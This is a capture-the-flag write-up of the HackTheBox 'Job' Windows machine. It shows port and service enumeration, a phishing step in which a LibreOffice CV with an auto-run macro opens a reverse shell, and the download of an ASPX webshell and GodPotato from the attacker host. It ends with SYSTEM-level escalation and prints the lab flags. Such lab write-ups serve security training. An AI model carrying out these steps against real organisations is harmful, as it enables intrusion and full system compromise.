↓ Skip to main content
HTB: Job
  1. Posts/

HTB: Job

Table of Contents

Introduction
#

Job is a Windows Server 2022 machine centered around a company career page. Initial access comes from a phishing angle: the site’s contact page invites CV submissions as LibreOffice documents to career@job.local Sending a malicious .odt file with an auto-run macro triggers a reverse shell as job\jack.black, yielding the user flag. From there, jack.black’s group membership grants write access to the web root, allowing an ASPX webshell to be dropped and executed as iis apppool\defaultapppool. That account holds SeImpersonatePrivilege, which is abused via GodPotato to coerce a SYSTEM-authenticated token and escalate to nt authority\system, retrieving the root flag.

Recon
#

nmap
#

Initial nmap finds five open TCP ports, SMTP (25), HTTP (80), SMB (445), RDP (3389) and WinRM (5985):

sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.234.73
  • -sC for defaults scripts
  • -sV enumerate version
  • -vv double verbose
  • -oA output in all formats
PORT     STATE SERVICE       REASON          VERSION
25/tcp   open  smtp          syn-ack ttl 127 hMailServer smtpd
| smtp-commands: JOB, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp   open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: Job.local
445/tcp  open  microsoft-ds? syn-ack ttl 127
3389/tcp open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| ssl-cert: Subject: commonName=job
| Issuer: commonName=job
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-08-31T09:16:47
| Not valid after:  2027-03-02T09:16:47
| MD5:   e820:7fc5:f9ed:b9b0:98b9:6d51:483d:536f
| SHA-1: 21aa:2f0f:46af:c20c:fcd9:653b:8b77:1bd9:ed36:c631
| -----BEGIN CERTIFICATE-----
| MIICyjCCAbKgAwIBAgIQGFL95giWNK9FHOnrq/MyEjANBgkqhkiG9w0BAQsFADAO
<SNIP>
| unzB300xY0tny7G4Xm3e8Jh7bLixYDmcc5IsY2bqU7fFstw8aTjnBta3uwS2RA==
|_-----END CERTIFICATE-----
|_ssl-date: 2026-09-01T09:19:04+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: JOB
|   NetBIOS_Domain_Name: JOB
|   NetBIOS_Computer_Name: JOB
|   DNS_Domain_Name: job
|   DNS_Computer_Name: job
|   Product_Version: 10.0.20348
|_  System_Time: 2026-09-01T09:18:24+00:00
Service Info: Host: JOB; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 47960/tcp): CLEAN (Timeout)
|   Check 2 (port 13843/tcp): CLEAN (Timeout)
|   Check 3 (port 54271/udp): CLEAN (Timeout)
|   Check 4 (port 65178/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time: 
|   date: 2026-09-01T09:18:25
|_  start_date: N/A
|_clock-skew: mean: 0s, deviation: 0s, median: 0s

It looks like a windows server. Hostname is JOB.

SMB - TCP 445
#

└─$ nxc smb 10.129.234.73
SMB         10.129.234.73   445    JOB              [*] Windows Server 2022 Build 20348 (name:JOB) (domain:job) (signing:True) (SMBv1:False)   

Guest account is disabled, and anonymous auth doesn’t work:

└─$ nxc smb 10.129.234.73 -u guest -p ''
SMB         10.129.234.73   445    JOB              [*] Windows Server 2022 Build 20348 (name:JOB) (domain:job) (signing:True) (SMBv1:False)                 
SMB         10.129.234.73   445    JOB              [-] job\guest: STATUS_ACCOUNT_DISABLED 
└─$ nxc smb 10.129.234.73 -u test -p test 
SMB         10.129.234.73   445    JOB              [*] Windows Server 2022 Build 20348 (name:JOB) (domain:job) (signing:True) (SMBv1:False)                 
SMB         10.129.234.73   445    JOB              [-] job\test:test STATUS_LOGON_FAILURE 

It is dead end at the moment, I need to get some credentials first.

Website - TCP 80
#

The website is an empty page:

web

That asks for cv, as a libre office document to be sent to career@job.local

Directory brute force
#

The dir scan returns nothing interesting:

└─$ gobuster dir -u http://10.129.234.73/ -w /usr/share/dirb/wordlists/common.txt  
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.234.73/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/assets               (Status: 301) [Size: 151] [--> http://10.129.234.73/assets/]
/aspnet_client        (Status: 301) [Size: 158] [--> http://10.129.234.73/aspnet_client/]
/css                  (Status: 301) [Size: 148] [--> http://10.129.234.73/css/]
/index.html           (Status: 200) [Size: 3261]
/js                   (Status: 301) [Size: 147] [--> http://10.129.234.73/js/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

SMTP - TCP 25
#

└─$ telnet 10.129.234.73 25
Trying 10.129.234.73...
Connected to 10.129.234.73.
Escape character is '^]'.
220 JOB ESMTP
EHLO tst.local
250-JOB
250-SIZE 20480000
250-AUTH LOGIN
250 HELP
VRFY career
502 VRFY disallowed.
MAIL FROM:<test@test.test>
250 OK
RCPT TO: <career@job.local>
250 OK

VRFY to verify the career account was disabled, but RCPT TO: <career@ob.local> seems to work fine to verify the user exists and I can send mail there.

RCPT TO: <test2@test.test>
250 OK

But it gives me the same response on any accout, so it looks like the server is not validating recipients meaning I can not use it for user enumeration.

User
#

Create payload CV
#

On the website it was written they want CV in Libre Office send to their email. I can create one with something a little extra.

cv1

I can create a macro that will run on document open with a reverse shell

cv2
cv3
cv4

Now just send it:

└─$ echo "my cv" | s-nail  -s "cv" -r "test@test.com" -a cv.odt -S mta="smtp://10.129.234.73:25" career@job.local 
s-nail: Obsoletion warning: Use of old-style credentials, which will vanish in v15!
s-nail:   Please read the manual section "On URL syntax and credential lookup"

And I get a hit on a listener:

└─$ nc -lvnp 4444                        
listening on [any] 4444 ...
connect to [10.10.15.23] from (UNKNOWN) [10.129.234.73] 53987
PS C:\Program Files\LibreOffice\program> whoami
job\jack.black

I can grab the user flag:

PS C:\Users\jack.black\Desktop> type user.txt
d7dac479f3d24a7c9f7914bf69540dd7

Root
#

Enumeration
#

jack.black does not have any useful privileges:

PS C:\Users\jack.black\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

but is a member of developers and Remote Desktop Users group, without a password it os not useful now, but keep that in mind.

PS C:\Users\jack.black\Desktop> whoami /groups

GROUP INFORMATION
-----------------

Group Name                             Type             SID                                           Attributes                                        
====================================== ================ ============================================= ==================================================
Everyone                               Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
JOB\developers                         Alias            S-1-5-21-3629909232-404814612-4151782453-1001 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users           Alias            S-1-5-32-555                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE               Well-known group S-1-5-4                                       Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113                                     Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10                                   Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192              

Web
#

wwwroot in the C:\inetpub\ has the website files:

PS C:\inetpub\wwwroot> dir

    Directory: C:\inetpub\wwwroot

Mode                 LastWriteTime         Length Name                           
----                 -------------         ------ ----                           
d-----        11/10/2021   8:52 PM                aspnet_client                  
d-----         11/9/2021   9:24 PM                assets                         
d-----         11/9/2021   9:24 PM                css                            
d-----         11/9/2021   9:24 PM                js                             
-a----        11/10/2021   9:01 PM            298 hello.aspx                     
-a----         11/7/2021   1:05 PM           3261 index.html   

Webshell
#

I’ll grab an ASPX webshell, start a Python webserver and fetch it to Job:

PS C:\inetpub\wwwroot> wget http://10.10.15.23:8082/cmd.aspx -OutFile "cmd.aspx"
PS C:\inetpub\wwwroot> dir

    Directory: C:\inetpub\wwwroot

Mode                 LastWriteTime         Length Name                           
----                 -------------         ------ ----                           
d-----        11/10/2021   8:52 PM                aspnet_client                  
d-----         11/9/2021   9:24 PM                assets                         
d-----         11/9/2021   9:24 PM                css                            
d-----         11/9/2021   9:24 PM                js                             
-a----          9/1/2026  10:17 AM           1547 cmd.aspx                       
-a----        11/10/2021   9:01 PM            298 hello.aspx                     
-a----         11/7/2021   1:05 PM           3261 index.html  

Now I can visit http://10.129.234.73/cmd.aspx and get a webshell:

webshell

Potato
#

The server is running as iis apppool\defaultapppool who has SeImpersonatePrivilege

webshell2

That is all I need to run GodPotato, grab latest release and get it to the machine:

PS C:\inetpub\wwwroot> wget http://10.10.15.23:8082/GodPotato-NET4.exe -OutFile "GodPotato.exe"
PS C:\inetpub\wwwroot> dir

    Directory: C:\inetpub\wwwroot

Mode                 LastWriteTime         Length Name                           
----                 -------------         ------ ----                           
d-----        11/10/2021   8:52 PM                aspnet_client                  
d-----         11/9/2021   9:24 PM                assets                         
d-----         11/9/2021   9:24 PM                css                            
d-----         11/9/2021   9:24 PM                js                             
-a----          9/1/2026  10:17 AM           1547 cmd.aspx                       
-a----          9/1/2026  10:26 AM          57344 GodPotato.exe                  
-a----        11/10/2021   9:01 PM            298 hello.aspx                     
-a----         11/7/2021   1:05 PM           3261 index.html 

I can run it in the webshell and see it works, I am nt authority\system:

webshell3

Flag
#

Now just change the command a little and grab the root flag: /c C:\inetpub\wwwroot\GodPotato.exe -cmd "cmd.exe /c type C:\Users\Administrator\Desktop\root.txt"

root
Author
~